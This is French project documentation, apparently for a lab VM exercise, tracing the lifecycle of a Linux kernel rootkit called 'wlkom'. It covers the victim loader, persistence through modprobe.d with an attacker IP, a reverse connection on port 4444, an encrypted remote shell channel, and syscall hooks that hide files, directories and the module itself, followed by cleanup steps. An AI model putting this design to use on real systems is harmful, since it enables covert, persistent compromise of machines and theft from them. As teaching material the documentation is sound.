Cycle de vie
Cette page suit le projet du host jusqu'au reboot victime. L'objectif est de comprendre l'ordre des opérations et pourquoi cet ordre fonctionne.
1. Préparation host
Commande:
./scripts/host-setup.sh
Le host crée le réseau privé et expose served/ sur http://10.0.2.2:8000 vu depuis les VMs. Les VMs peuvent donc télécharger setup-attacker.sh, setup-victim.sh et l'archive source sans connaître l'IP réelle du host.
2. Setup attaquant
L'attaquant compile wlkom.ko parce qu'il a les headers et la toolchain. La victime télécharge ensuite un .ko prêt à charger. Ce choix impose que les deux VMs soient sur le même noyau, sinon Linux refusera le module à cause du vermagic.
Le panel démarre aussi le listener RootkitController sur 4444. Il peut être lancé avant ou après la victime: le module retente la connexion si le listener n'est pas prêt.
3. Setup victime
La victime ne compile pas le module. Elle reçoit les helpers nécessaires pour ouvrir la page victime, exécuter le loader freecloude.py et nettoyer la machine.
4. Page victime et chargement initial
freecloude.py est le point d'entrée victime: il sert au scénario d'élévation de privilèges, puis lance freecloude.sh. Le .sh vérifie d'abord le vermagic, puis prépare la persistance avant insmod.
Ce détour existe parce que le module, une fois chargé, protège aussi son propre fichier persistant dans /lib/modules/.../wlkom.ko avec les hooks de chemins (openat, statx, access, unlinkat, etc.). Installer après insmod revient donc à demander au userland d'écrire un fichier que le rootkit vient de rendre inaccessible. Le contournement est: validation vermagic, écriture de la persistance, activation runtime, puis suppression immédiate des fichiers préparés si insmod échoue.
5. Initialisation du module
wlkom_start_module fait:
- vérifie que
wlkom_passwordexiste - appelle
wlkom_prepare_crypto_key - installe les hooks
ftrace - crée
/opt/wlkom_data - lance
kthread_run(wlkom_network_thread) - retire
THIS_MODULEde la liste des modules.
Pourquoi cet ordre?
- la clé doit exister avant la première bannière chiffrée
- les hooks doivent être actifs avant que le dossier et les artefacts
wlkomdeviennent visibles - le thread réseau ne démarre qu'après l'initialisation locale
- le masquage module arrive à la fin pour éviter de cacher un module partiellement initialisé si une étape échoue.
Si les hooks échouent, le module refuse de charger. Ce choix est volontaire: charger un rootkit qui ne masque rien mais garde le canal réseau actif serait incohérent pour la démonstration.
6. Authentification
Le backend ne connaît pas le mot de passe au démarrage. Il garde donc la socket dans _pending_sock, puis crée CryptoState(password) seulement quand l'utilisateur authentifie la session. Si le mot de passe est faux, le backend ne peut pas lire correctement la bannière ou ne reçoit pas la confirmation attendue. Il ferme alors la socket pending.
7. Commandes distantes
Toutes les actions du dashboard finissent par envoyer une ligne chiffrée au module:
<commande shell>
upload-begin <path>
upload-append <base64> <path>
download-chunk <offset> <length> <path>
screenshot
Pour une commande shell, le module construit:
(<commande>) > /opt/wlkom_data/.cmd.out 2>&1; echo "[exit:$?]" >> /opt/wlkom_data/.cmd.out
Puis il lance /bin/sh -c avec call_usermodehelper, relit .cmd.out avec kernel_read, extrait le dernier marqueur [exit:N], supprime le fichier et renvoie la sortie au backend.
Pourquoi passer par userland? Le noyau n'est pas un bon endroit pour réimplémenter pipes, redirections, tar, base64 ou outils graphiques. Le module orchestre, le shell exécute.
La réponse envoyée au backend est terminée par:
__KOZACI_RESPONSE_END_8F8F6A0E6D4A41C2__
Puis le module renvoie un nouveau prompt wlkom> . Le backend attend le marqueur de fin avant de lire le prompt suivant.
8. Masquage pendant l'exécution
Le masquage repose sur quatre couches:
| Couche | Fichier | Effet |
|---|---|---|
| Module | main.c | list_del_init(&THIS_MODULE->list) perturbe lsmod |
| Répertoires | dirent_hooks.c | getdents/getdents64 retirent les noms wlkom |
| Accès par chemin | access_hooks.c | openat, statx, access, readlinkat, unlinkat refusent les chemins protégés |
| Fichiers texte | read_filter.c | read, pread64, readv filtrent les lignes de persistance, et mmap est refusé |
Le masquage fonctionne parce que beaucoup d'outils userland passent par les mêmes syscalls. Il n'est pas absolu: logs kernel, sysfs selon le moment, inspection offline ou outils spécialisés peuvent encore révéler des traces.
9. Reboot victime
Au boot suivant:
modules-load.d -> wlkom
modprobe.d -> attacker_ip=192.168.100.1 command_port=4444 password=<secret>
Le module revient donc avec les mêmes paramètres et recommence sa connexion reverse. Si l'attaquant n'écoute pas encore, il reste en retry.
10. Nettoyage
Victime:
bash ~/uninstall.sh
Le script supprime la persistance connue, prépare un service systemd one-shot zz-lab-clean.service, tente un nettoyage immédiat, puis redémarre par défaut. Le one-shot s'exécute très tôt au boot suivant, avant systemd-modules-load.service, afin de supprimer le .ko, les fichiers modules-load.d/modprobe.d, /opt/wlkom_data, les caches et les helpers pendant que le module n'est pas encore rechargé.
Attaquant:
~/kill-attacker-panel.sh
Host:
./scripts/reset-vms.sh
Renvois utiles
- Réseau pour IPs, ports et routes publiques/restreintes.
- Chiffrement pour FNV-1a, XOR et offsets.
- Vue d'ensemble du rootkit pour le détail noyau.
- Backend attaquant pour socket pending, handshake et API.
- Références techniques pour les notions kernel une par une.